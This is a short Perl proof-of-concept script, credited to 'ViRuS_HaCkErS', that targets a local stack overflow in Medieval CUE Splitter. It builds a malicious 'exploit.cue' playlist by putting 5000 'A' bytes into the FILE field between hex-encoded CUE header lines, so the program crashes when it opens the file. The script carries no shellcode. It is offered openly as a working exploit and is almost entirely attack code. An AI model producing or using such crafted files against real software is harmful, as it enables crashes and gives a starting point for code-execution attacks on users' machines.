#!/usr/bin/perl
#Medieval CUE Splitter Local Stack Overflow PoC
# By ViRuS_HaCkErS
# Big THnx to THE DOOM FINAL BLUE HACKER ALL SPIDERS TEAM
# down: http://www.medieval.it/sw/cuesplitter_setup.exe
my $header1=    
"\x46\x49\x4c\x45\x20\x22";
my $header2=
"\x2e\x42\x49\x4e\x22\x20\x42\x49\x4e\x41\x52\x59\x0d\x0a\x20".
"\x54\x52\x41\x43\x4b\x20\x30\x31\x20\x4d\x4f\x44\x45\x31\x2f\x32".
"\x33\x35\x32\x0d\x0a\x20\x20\x20\x49\x4e\x44\x45\x58\x20\x30\x31".
"\x20\x30\x30\x3a\x30\x30\x3a\x30\x30";
my $crash = "\x41" x 5000;
open(my $playlist, "> exploit.cue");
print $playlist $header1.$crash.$header2 ;
                                     
close $playlist;